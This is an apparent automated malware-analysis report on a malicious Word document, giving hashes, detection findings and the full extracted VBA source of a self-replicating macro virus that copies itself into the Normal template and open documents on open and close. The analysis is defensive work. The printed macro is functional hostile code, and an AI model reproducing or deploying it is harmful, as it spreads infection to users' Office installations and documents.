Office (OLE) malware analysis — malicious · 90c3b751a8e4d86f

MALICIOUS

Office (OLE)

297.5 KB Authoring application: www.cnshu.cn First seen: 2022-07-25

MD5: e1e4f69c3e50389375b569188ef6745e SHA-1: 09003469cf9734ebe682aecf53d400ecd35385ea SHA-256: 90c3b751a8e4d86ff945f99bff347cecd6a60978a29e54c5b3590a4d2cdb98eb

208 Risk Score

Heuristics 4

ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Xaler-1
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
NormalTemplate.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2243 bytes
SHA-256: `3887fd47bbbbd0b7d68443e18e90d45ac18b9c1863f912bea3022b87dbf50c16`
Detection ClamAV: Doc.Trojan.Xaler-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "DefaultOcxName12, 4, 7, MSForms, HTMLImage" Attribute VB_Control = "DefaultOcxName10, 2, 8, MSForms, HTMLImage" 'RELAX Private Sub RELAX2() End End Sub Private Sub Document_Close() Call GOODSub Call RELAX2 End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.VBComponents.Item("ThisDocument").export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.VBComponents.Item("ThisDocument").export x$ Else ActiveDocument.VBProject.VBComponents.Item("ThisDocument").export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_Open() Call GOODSub End Sub

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